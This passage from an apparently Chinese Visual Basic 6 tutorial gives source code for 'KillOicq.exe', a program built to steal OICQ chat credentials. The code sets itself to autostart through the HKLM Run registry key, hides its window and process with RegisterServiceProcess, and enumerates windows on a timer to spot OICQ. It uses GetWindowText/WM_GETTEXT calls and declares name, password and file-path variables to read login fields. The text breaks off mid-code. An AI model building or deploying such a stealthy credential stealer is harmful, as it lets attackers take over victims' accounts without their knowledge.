声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare Function RegCreateKey& Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey&, ByVal lpszSubKey$, lphKey&) '在指定的项下创建一个新项。如指定的项已经存在,那么函数会打开现有的项
Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long '设置指定项或子项的默认值
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
建立使程序自启动的过程
| sub AutoRun() Dim sKeyName As String, sKeyValue As String, sKeyValueIcon As String Dim Ret As Integer, lphKey As Long sKeyName = "SoftwareMicrosoftWindowsCurrentVersionRun" '是启动项在注册表中位置,大家可能通过 regedit.exe 来查看 sKeyValue = App.Path & IIf(Len(App.Path) > 3, "" & "KillOicq.exe", "KillOicq.exe") 'monitor.exe 为这个程序 Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) '创建新的启动项 Ret = RegSetValue&(lphKey&, "", REG_SZ, sKeyValue, 0&) '设置键值 End Sub |
(3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1 '隐藏
建立实现程序自身在关闭程序对话框中的隐藏的过程
| Sub HideMyWin() RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE End Sub |
(4)即时监视是否运行了 OICQ
加载 1 个 Timer 控件,其 Interval 的值为1(你也可以自己设置,尽量少点),这个程序就是通过 Timer 来实现监视的。
| Private Sub Timer1_Timer() EnumWindows AddressOf EnumProc, 0 '枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序 End Sub |
声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中
| Option Explicit Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long '遍查窗口 Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long '取得窗口标题 Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long '为指定的窗口取得类名 Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long '获得一个窗口的句柄 Const GW_CHILD = 5 '寻找源窗口的第一个子窗口 Const GW_HWNDNEXT = 2 '为源窗口寻找下一个兄弟窗口 Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal _ wMsg As Long, ByVal wParam As Long, lParam As Any) As Long '发送消息 Const WM_GETTEXT = &HD Const WM_GETTEXTLENGTH = &HE Dim buf As String Dim nameall, name, passwordall, password As String Dim i As Integer Dim title, titleall, filepath As String Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean '遍查主窗口 Dim buf As String * 1024 Dim length As Long filepath = App.Path & " |
